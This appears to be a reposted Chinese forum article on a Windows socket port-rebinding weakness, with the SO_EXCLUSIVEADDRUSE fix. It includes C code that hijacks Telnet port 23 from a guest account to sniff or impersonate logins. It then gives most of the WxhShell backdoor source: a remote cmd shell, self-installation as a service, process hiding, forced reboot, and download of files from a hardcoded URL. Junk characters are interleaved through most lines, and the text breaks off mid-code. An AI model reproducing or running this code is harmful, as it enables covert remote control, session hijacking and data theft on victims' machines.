在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
="]lN s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ft7M9<#v Mq~E'g4# saddr.sin_family = AF_INET;
TeuZVy8a v8F{qT50 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
dWzf C@] }t#|+T2f bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
R:n|1]*f3X ([<{RjPb 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
MP}-7UA#K P,ZQ*Ju 这意味着什么?意味着可以进行如下的攻击:
oaha5aWH d7BpmM 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
O-[YU%K3? F3V:B.C 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
F4~OsgZ'N cAN8'S(s1 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
n',7=~ .WSn Y71 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Tp@Yn i-w<5pGnf 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Q}Ah{H0C n7i~^nf> 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
tX%
C5k ,eTdQI; 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
G[e,7jev 8;`B3N7 #include
lI46
f #include
7kD?xHpe #include
>/Z*\6|Zx# #include
I!Dx)>E& DWORD WINAPI ClientThread(LPVOID lpParam);
8\E=p+C int main()
E`LaO {
8oUR/___ WORD wVersionRequested;
De3;}]wC DWORD ret;
aNM*=y` WSADATA wsaData;
Q0`@=5?- BOOL val;
V}vL[=QFZ( SOCKADDR_IN saddr;
/Gnt.%y& SOCKADDR_IN scaddr;
{{gd}g int err;
k6DJ(.n'%a SOCKET s;
E9k%:&]vd SOCKET sc;
+z9BWo!{I int caddsize;
1c/<2 xO~ HANDLE mt;
"1""1"; DWORD tid;
wY8Vc" wVersionRequested = MAKEWORD( 2, 2 );
GZ<@#~1%\ err = WSAStartup( wVersionRequested, &wsaData );
p-"wY?q
if ( err != 0 ) {
>9XG+f66E printf("error!WSAStartup failed!\n");
C%z9Q return -1;
_s-X5xU }
Y,mo}X<> saddr.sin_family = AF_INET;
.z$UNB(!M <NDV 5P //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
U(+QrC: ph)=:*A6& saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
?mV2|; saddr.sin_port = htons(23);
OWfB8*4@ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
9*JxP%8T~X {
fFC9:9< printf("error!socket failed!\n");
aiX4;'$x! return -1;
V@LBy1z }
08@4u
L val = TRUE;
-A}$5/ //SO_REUSEADDR选项就是可以实现端口重绑定的
O>f*D+A- if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
rv)Eg53Q {
\{rhHb\|h printf("error!setsockopt failed!\n");
W@GU;Nr return -1;
.0>bnw }
[GM!@6U //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
ZJ)>gV //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
1IgTJ" \ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
CNj |vYj 8>|4iT if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
8DD1wK\U~ {
#6y fIvap ret=GetLastError();
_Q\rZ
l printf("error!bind failed!\n");
9JMf
T] return -1;
A$~H`W<yxB }
i+Ne.h listen(s,2);
q}'<[Wg while(1)
W#d'SL#5 {
[vBP,_Tjx caddsize = sizeof(scaddr);
zB7^L^Y //接受连接请求
u ?F},VL; sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
~yngH0S$[b if(sc!=INVALID_SOCKET)
Zq:
}SU {
x`p908S^ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
-NzOX"V]3 if(mt==NULL)
^755LW {
V LeYO5'L printf("Thread Creat Failed!\n");
}!*|VdL0 break;
!#5y%Bf }
)g&nI<Mh }
u,@ac[!vP CloseHandle(mt);
^eV K. }
}f{5-iwD} closesocket(s);
4*n1Xu7^x WSACleanup();
B'B0 e` return 0;
~y 2joStx }
3<Z@!ft8 DWORD WINAPI ClientThread(LPVOID lpParam)
0aGauG[ {
N1>M<N03 SOCKET ss = (SOCKET)lpParam;
z{NK(oW SOCKET sc;
_M>S =3w unsigned char buf[4096];
cy8r}wD SOCKADDR_IN saddr;
Q^Vch(`&P long num;
2nFr?Y3g, DWORD val;
(Q&jp!WU DWORD ret;
bLggh]Fh //如果是隐藏端口应用的话,可以在此处加一些判断
Mu" vj*F //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
<X5V]f saddr.sin_family = AF_INET;
_s=<Y^l%x saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
/K,@{__JP saddr.sin_port = htons(23);
q` |E9 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
su60j^e* {
RLw/~ printf("error!socket failed!\n");
;8]Hw a1! return -1;
,F'y :px }
] RVme^= val = 100;
O" [#g if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
.(Z^[C} {
"|WKK} ret = GetLastError();
tnXW7ej ^ return -1;
!*wd
d8 }
:K \IS ` if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ye
{y[$#3 {
+miL naO~L ret = GetLastError();
'7]9q#{su return -1;
#LYx;[D6 }
i&}LuF8 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
grd
fR`3 {
#b&=CsW` printf("error!socket connect failed!\n");
b3=XWzK5 closesocket(sc);
v9D[|4 closesocket(ss);
c)QOgXv return -1;
'F1<m^ }
Hc0V4NHCaL while(1)
2Y}A9Veb {
esv<b>`R //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
`1
Tg8 //如果是嗅探内容的话,可以再此处进行内容分析和记录
}V+&o\4 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
,+5!1>\ num = recv(ss,buf,4096,0);
(elkk# if(num>0)
?G5,x send(sc,buf,num,0);
T< <N U"n else if(num==0)
YL4yT`* break;
{mHxlG) num = recv(sc,buf,4096,0);
"W}+~Sn if(num>0)
9\r5&#<(I send(ss,buf,num,0);
*;
6LX else if(num==0)
=*WfS^O break;
fb!>@@9Z }
?zXlLud8 closesocket(ss);
.6i +_B| closesocket(sc);
${UH!n{ return 0 ;
k~1{|HxrE }
)B^T7{ Pv$O=N6- #/K71Y ==========================================================
?l
0WuU Nu; 9 下边附上一个代码,,WXhSHELL
cl'qw## 0te[i*G ==========================================================
$O9#4A; I]~UOl #include "stdafx.h"
i:^
8zW *pGbcBQ #include <stdio.h>
Js,.$t #include <string.h>
U&gl$/4U@ #include <windows.h>
a3_pF~Qx #include <winsock2.h>
{'zs4)vw #include <winsvc.h>
pmDFmES #include <urlmon.h>
oPA m* }Do$oyAV$G #pragma comment (lib, "Ws2_32.lib")
V#-8[G6Ra #pragma comment (lib, "urlmon.lib")
E-#}.}i5 a&`Lfw" #define MAX_USER 100 // 最大客户端连接数
LkJ-M=y #define BUF_SOCK 200 // sock buffer
)}\J #define KEY_BUFF 255 // 输入 buffer
n6GB2<y z0tm3ovp #define REBOOT 0 // 重启
{,o 0N\( #define SHUTDOWN 1 // 关机
Kx,<-]4 RM`iOV,Y #define DEF_PORT 5000 // 监听端口
bO gVCg K&iU+ #define REG_LEN 16 // 注册表键长度
R?kyJ4S #define SVC_LEN 80 // NT服务名长度
:LR>U;2
)G|'PXI@, // 从dll定义API
@(e/Y/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
TP)}1@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
lLL) S typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
yKOC1( ~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
j1$s^ -9 wb-_CQ // wxhshell配置信息
Cy\! H&0wg struct WSCFG {
1&YkRCn0 int ws_port; // 监听端口
pU@&- char ws_passstr[REG_LEN]; // 口令
$C&E3 'O int ws_autoins; // 安装标记, 1=yes 0=no
EYKV}` char ws_regname[REG_LEN]; // 注册表键名
*h"7!g char ws_svcname[REG_LEN]; // 服务名
K!SFS char ws_svcdisp[SVC_LEN]; // 服务显示名
y$HV;%G{26 char ws_svcdesc[SVC_LEN]; // 服务描述信息
NB)22 % char ws_passmsg[SVC_LEN]; // 密码输入提示信息
<SNu`,/I int ws_downexe; // 下载执行标记, 1=yes 0=no
(yhnv Z char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
MvlqxJ$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
`CEHl &w $+[
v17lF };
8Nf%<nUv )ocr.wU@ // default Wxhshell configuration
_2S(
* struct WSCFG wscfg={DEF_PORT,
ft4(^|~ "xuhuanlingzhe",
lyyRyFfQ 1,
)Es|EPCx! "Wxhshell",
p#AQXIF0 "Wxhshell",
kR;Hb3hb "WxhShell Service",
eq$.np "Wrsky Windows CmdShell Service",
|Skhx9}; "Please Input Your Password: ",
kG3m1: : 1,
Zm/I & "
http://www.wrsky.com/wxhshell.exe",
_{YUWV50} "Wxhshell.exe"
Vqxxm&^P };
GUqBnRA8j @L5s.]vg= // 消息定义模块
GA"zO, char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
h2m@Q={ char *msg_ws_prompt="\n\r? for help\n\r#>";
xU;;@9X char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Z(a,$__ char *msg_ws_ext="\n\rExit.";
qv$m5CJvK char *msg_ws_end="\n\rQuit.";
]F*fQNcjy char *msg_ws_boot="\n\rReboot...";
6{TUs>~ char *msg_ws_poff="\n\rShutdown...";
B)u*c]<qU char *msg_ws_down="\n\rSave to ";
@ZGD'+zd? uBfSS\SX| char *msg_ws_err="\n\rErr!";
mvt%3zCB! char *msg_ws_ok="\n\rOK!";
o)
,1R: jZ> x5 W char ExeFile[MAX_PATH];
'/QS
sZR int nUser = 0;
NuC+iC$_/ HANDLE handles[MAX_USER];
{:c5/
,7c; int OsIsNt;
|#`qP^E me&'BQ SERVICE_STATUS serviceStatus;
JY6^pC}* SERVICE_STATUS_HANDLE hServiceStatusHandle;
<]h?_) ^ah9:}Ll // 函数声明
xh9Os < int Install(void);
q!\4|KF~ int Uninstall(void);
bGe@yXId5 int DownloadFile(char *sURL, SOCKET wsh);
.V`N^H:l int Boot(int flag);
4
oZm0
void HideProc(void);
MI\35~JAN int GetOsVer(void);
'yR)z\) int Wxhshell(SOCKET wsl);
BDz7$k] void TalkWithClient(void *cs);
x3Ze\N8w int CmdShell(SOCKET sock);
BXB ZX@jVk int StartFromService(void);
7Nt6}${=z int StartWxhshell(LPSTR lpCmdLine);
[e;c)XS[ cMp#_\B VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
8a3h)R VOID WINAPI NTServiceHandler( DWORD fdwControl );
x /E<@?*: %{;1i // 数据结构和表定义
7HM%Cd SERVICE_TABLE_ENTRY DispatchTable[] =
9B?-&t {
b]k9c1x {wscfg.ws_svcname, NTServiceMain},
M.?[Xpa {NULL, NULL}
bn6WvC3? };
k}FmdaPI' I::|d,bR! // 自我安装
|!E: [UH int Install(void)
JBt2R= {
H[D<G9: char svExeFile[MAX_PATH];
S>V+IKW;( HKEY key;
I> BGp4 AQ strcpy(svExeFile,ExeFile);
.6[7D /l1OC(hm // 如果是win9x系统,修改注册表设为自启动
0<#>LWaM_ if(!OsIsNt) {
GYwU3`{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
jcL%_of RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
FDCc?>,o RegCloseKey(key);
On-zbE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
X_aC$_b RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
R]<N";- RegCloseKey(key);
ZGj ^,? a return 0;
Bvsxn5z+: }
y$[:Kh, }
;9$71E }
K$/&C:,Q else {
&$g{i:)Z
liU8OXBl // 如果是NT以上系统,安装为系统服务
&OsO _F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
<sli!rv if (schSCManager!=0)
F(KsB5OY? {
h yK&)y?~ SC_HANDLE schService = CreateService
f@Yo]F U (
?!HU$> schSCManager,
D1R$s*{ wscfg.ws_svcname,
u N8RG_Mb wscfg.ws_svcdisp,
W.CbNou SERVICE_ALL_ACCESS,
mLm?yb: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
7!U^?0?/ SERVICE_AUTO_START,
qV79bK SERVICE_ERROR_NORMAL,
y~n1S~5cI svExeFile,
J"~!jrzBh( NULL,
gE: ?C2 NULL,
^:~!@$*;6 NULL,
Dl@Jj?zc NULL,
`3yK<- NULL
Z@,[a );
d$hBgJe>N if (schService!=0)
Q|xa:`3? {
TyhO+; CloseServiceHandle(schService);
GRh430V[ CloseServiceHandle(schSCManager);
50""n7I<% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
H)+QkQb} strcat(svExeFile,wscfg.ws_svcname);
w)C5XX30; if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
S#:l17e3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
N@0cn
q:" RegCloseKey(key);
c{
([U return 0;
rXP~k]tC }
_;M3=MTM9 }
F:N8{puq5 CloseServiceHandle(schSCManager);
vb6kr?-i* }
i&YWutG }
l"-Z#[ o$Ju\(Y$<+ return 1;
m~0Kos%^*b }
Z C<+BKS G>Hg0u0!, // 自我卸载
$b(CN+# int Uninstall(void)
Z@(KZ| {
g%<n9AUl HKEY key;
]f_`w81[ h0$Y;=YA if(!OsIsNt) {
;SIWWuk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
eG7Yyz+t$ RegDeleteValue(key,wscfg.ws_regname);
9l(T>B2a RegCloseKey(key);
)2a)$qx; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]I_*+^?tI RegDeleteValue(key,wscfg.ws_regname);
aW-6$=W RegCloseKey(key);
:V1j*) return 0;
tI)|y?q }
_n1[(I }
"VDMO^ }
Al=ByX @ else {
B"8jEYT5 t)1`^W} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
1yVhO2`7] if (schSCManager!=0)
w2db=9 {
v7n@CWnN SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
F1A40h7R$Y if (schService!=0)
1ktxG1"1 {
$<yhEvv if(DeleteService(schService)!=0) {
.5uqc.i"f CloseServiceHandle(schService);
=*1NVi $n CloseServiceHandle(schSCManager);
H@1}_d return 0;
`Qjs{H }
|]?zH~L CloseServiceHandle(schService);
0` .5gxm }
L0oVXmlr CloseServiceHandle(schSCManager);
[Q+k2J_h }
L7hRFf-o }
G[1\5dK*uR (zh[1[a return 1;
tva=DS }
NBHpM}1xtU yzv"sd[8N // 从指定url下载文件
f,4erTBH int DownloadFile(char *sURL, SOCKET wsh)
. P+Qu
{
^=5x1<a9$ HRESULT hr;
+IO>% char seps[]= "/";
H8B$#. char *token;
z:4_f:70 char *file;
{
:1XN char myURL[MAX_PATH];
'ZB^=T char myFILE[MAX_PATH];
()48> || &gPP#D6A strcpy(myURL,sURL);
&O^-,n token=strtok(myURL,seps);
Z"RgqNf while(token!=NULL)
*~>p;* {
X'-Yz7J?o file=token;
X
=%8*_ token=strtok(NULL,seps);
7f4O~4.[i }
:eSsqt9]9 &7oL2Wf GetCurrentDirectory(MAX_PATH,myFILE);
7[w<v(Rc strcat(myFILE, "\\");
vFB^h1k~.M strcat(myFILE, file);
ZP5 !O[Ut send(wsh,myFILE,strlen(myFILE),0);
JJM<ywPGp send(wsh,"...",3,0);
2 rr=FJ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
[orL.D] if(hr==S_OK)
[iEz?1., return 0;
S>r",S else
x-e6[_F return 1;
!nCq8~# N-]/MB8 }
W"^ =RY 5|nc^
12 // 系统电源模块
<l$ d>, int Boot(int flag)
fjVy;qJ32S {
#K6cBfqI HANDLE hToken;
50j8+xJPV TOKEN_PRIVILEGES tkp;
yji[Yde;| BqY_N8l&E if(OsIsNt) {
wV"`Du7E; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
"J`&"_CyZ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
+l/v`=C tkp.PrivilegeCount = 1;
{BT/P! tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
:Ys~Lt54 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
S.)Jp-&K if(flag==REBOOT) {
}&t>j[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
!7
dct#4 return 0;
18!y7
_cFT }
##*]2Dy else {
G %6P`: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
hg(<>_~ return 0;
uTxa5j }
*Ud(HMTe }
P0jr>j@^- else {
yB2h/~+ if(flag==REBOOT) {
p.SipQ.P if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
:t]HY2 return 0;
Pps-,*m }
e[fOm0^.c else {
*B"Y]6$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Z(T{K\)uN return 0;
RHg-Cg` }
. \"k49M` }
0{|HRiQH9+ k=hWYe$iAz return 1;
8~]D!c8; a }
odsFgh ||_hET // win9x进程隐藏模块
m|;(0
rft void HideProc(void)
-juG[zn {
uv27Vos YR9fw HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
pW(rNAJ! if ( hKernel != NULL )
BzP,Tu{, {
6t6Z&0$h~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
|4Q*4s ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
9)ALJd,M FreeLibrary(hKernel);
ds(?:zx# }
^taN?5 6:]N% return;
l9I r@.m }
@#)` -]g "y,YC M` // 获取操作系统版本
kg[%Q]] int GetOsVer(void)
/Hyz]46 {
^Tm`motzh OSVERSIONINFO winfo;
.p&@;fZ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
*h!fqT%9 GetVersionEx(&winfo);
_U<fS if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
/|1p7{km return 1;
/Vn>(;lo else
!Qe;oMqy} return 0;
aa`(2%(: }
ej`%}e%2 a>'ez0C // 客户端句柄模块
t'rN7.d int Wxhshell(SOCKET wsl)
kI^*
'=: {
<U@N^# SOCKET wsh;
[y[d7V9_o struct sockaddr_in client;
u dZOg DWORD myID;
;Y$>WKsV q8v[u_(yD while(nUser<MAX_USER)
-3EQRqVg {
b-&iJ &>' int nSize=sizeof(client);
;uUFgDi wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
[1VA`:?W if(wsh==INVALID_SOCKET) return 1;
QPJ\Iu@D$ elOeXYO0 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
G%<}TI1} if(handles[nUser]==0)
Nr~$i% [ closesocket(wsh);
N{;!xIv else
Ymk?@mV4 nUser++;
Gt9$hB7 }
2 |s ohF WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
(^d7K:-' Je1d|1!3 return 0;
bbK};u }
WQK<z!W5 *qd:f!Q3 // 关闭 socket
Y'iX
void CloseIt(SOCKET wsh)
Ts5)r( {
XA>W>| closesocket(wsh);
&S,D;uhF nUser--;
=ejj@c ExitThread(0);
8M,*w6P }
eqo0{e !eLj +0 // 客户端请求句柄
;c(a)_1 void TalkWithClient(void *cs)
|*&l?S {
9y7N}T6 J D\tt- SOCKET wsh=(SOCKET)cs;
tE7jTe char pwd[SVC_LEN];
k~Ex_2;# char cmd[KEY_BUFF];
'cW^ S7 char chr[1];
H U|.5tP int i,j;
v= 55{ HN5m %R&` while (nUser < MAX_USER) {
Td=4V,BN 8\n3
i" if(wscfg.ws_passstr) {
nw+~:c if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Xn6#q3;^| //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
A6N6e\*
//ZeroMemory(pwd,KEY_BUFF);
xY^sC56Z i=0;
25Dl4<-Z while(i<SVC_LEN) {
~MC|
k ut=(; // 设置超时
ZZw`8 E fd_set FdRead;
:xh{SsW@ struct timeval TimeOut;
{Su?*M2y FD_ZERO(&FdRead);
i"2OsGT FD_SET(wsh,&FdRead);
e7vm3<m4 TimeOut.tv_sec=8;
ejROJXB TimeOut.tv_usec=0;
ALF0d|>=uj int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
/WrB>w if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
f98,2I(>`+ |3*9+4]a if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
jjs/6sSRk pwd
=chr[0]; z;c>Q\Q
if(chr[0]==0xd || chr[0]==0xa) { b$ G{^
pwd=0;
FaL\6w
break; 1^~&"s U
} bjZJP\6
i++; 067c/c
} z5+Pi:1w
+HK4sA2;
// 如果是非法用户,关闭 socket a~$XD(w^
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yk+ 50/L
} 88g3<&
i]JTKL{\q
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (!~cOx
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S*h52li
?bTfQH
vX
while(1) { gD,&TW
?YhDjQs
ZeroMemory(cmd,KEY_BUFF); L.Y3/H_
JzyCeM =
// 自动支持客户端 telnet标准 ,UNb#=it
j=0; ZoW1Cc&p
while(j<KEY_BUFF) { z+"tAVB[i
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uZqL'l+/y
cmd[j]=chr[0]; X8Z?G,[H
if(chr[0]==0xa || chr[0]==0xd) { t*{L[c9.Uq
cmd[j]=0; ,+=9Rp`md
break; +&GV-z~o
} #NS|9jW
j++; 6x+ujUBkK
} i_Kwxn$
i2F7O"f.
// 下载文件 d
t/AAk6
if(strstr(cmd,"http://")) { 0YH5B5b
send(wsh,msg_ws_down,strlen(msg_ws_down),0); =7Ln&tZ
if(DownloadFile(cmd,wsh)) }0'=}BE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xQoZ[
else u?osX;'w
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L\:|95Yq
} VUb>{&F[
else { q6zVu(
GABZsdFZ!
switch(cmd[0]) { xL}i9ozZ
w^yb`\$
// 帮助 l45/$G7
case '?': { |;ztK[(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c4JV~VS+
break; 5NU{y+
} &Mh.PzO=b
// 安装 L^J4wYFTO
case 'i': { ]e>qvSuYh
if(Install()) 6g(;2gY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L9GLjRp-
else q+g,?;Yx
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y
},E3<
break; /K=OsMl2b8
} u4x-GObJM
// 卸载 L2}\Ah"[
case 'r': { /6x&%G:m#
if(Uninstall()) 8 Rx@_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !fh (k
else
Q!X?P
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OO:S2-]Y>e
break; X! d-"[
} Gh;\"Qx
// 显示 wxhshell 所在路径 l;?:}\sI=
case 'p': { pUIN`ya[[
char svExeFile[MAX_PATH]; Q(|@&83].
strcpy(svExeFile,"\n\r"); A8{jEJ=)P
strcat(svExeFile,ExeFile); ZmA}i`
send(wsh,svExeFile,strlen(svExeFile),0); 7?P'f3)fG
break; c<lp<{;
} RS5<] dy
// 重启 f:o.[4p2
case 'b': { ~_ THvx1
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M2$/x`\-~
if(Boot(REBOOT)) u$ts>Q;5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )aS:h}zn
else { b<h((]Q>^
closesocket(wsh); 4:/]Y=)x
ExitThread(0); V!}I$JiJ
} ]RVu[k8
break; r,5e/X
} -@v^. @[Z&
// 关机 iZGbNN
case 'd': { u 3WU0Z`
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {X!vb
if(Boot(SHUTDOWN)) ) CGQ}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P,v7twc0M
else { r!r08yf
closesocket(wsh); xfk
-Ezv
ExitThread(0); Yuv(4a<M%
} tXE/aY*I
break; dOjly,!
} pF;.nt)
// 获取shell l`v5e"V
case 's': { LjKxznn o
CmdShell(wsh); U[]yN.J
closesocket(wsh); x]^d'o:cDP
ExitThread(0); /s?%ft#-9o
break; >6es
5}
} @iz Onc:
// 退出 fu7x,b0p
case 'x': { 7nt(Rtbsu
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Bm~^d7;Cw
CloseIt(wsh); mnt&!X4<
break; b(Y
} GM|&,}
// 离开 ?QP>rm
case 'q': { &4Z8df!
send(wsh,msg_ws_end,strlen(msg_ws_end),0); >d 5-if
closesocket(wsh); {`HbpM<=m]
WSACleanup(); -rDfDdT
exit(1); g=:o 'W$@
break; #2=l\y-#
} qq)5)S
} ZflB<cI
} s_^`t+5
|d0X1(
// 提示信息 =dXHQU&Q
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )nd^@G^
} vJE=H9E
} *|&Y ,H?
g *5_m(H
return; 2dts}G
} mnTF40l
[s}W47N1
// shell模块句柄 wgz]R
int CmdShell(SOCKET sock) *q}yfa35eR
{ ydWr&E5
STARTUPINFO si; GRc)3
2,
ZeroMemory(&si,sizeof(si)); GMU!GSY
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \`.v8C>vG
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &r,vD,
PROCESS_INFORMATION ProcessInfo; EU(e5vO
char cmdline[]="cmd"; Z~:)hwF
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xI,3(A.
return 0; y&\4Wr9m
} 0f4 y"9m
oc?|"
// 自身启动模式 %_ew{ff|
int StartFromService(void) |5>Tf6$(
{ &XNt/bK-?
typedef struct T
m"B
{ |AvPg
DWORD ExitStatus; .7.G}z1
DWORD PebBaseAddress; k$=L&id
DWORD AffinityMask; le:}MM
DWORD BasePriority; ~n -N
ULONG UniqueProcessId; gmp@ TY=:L
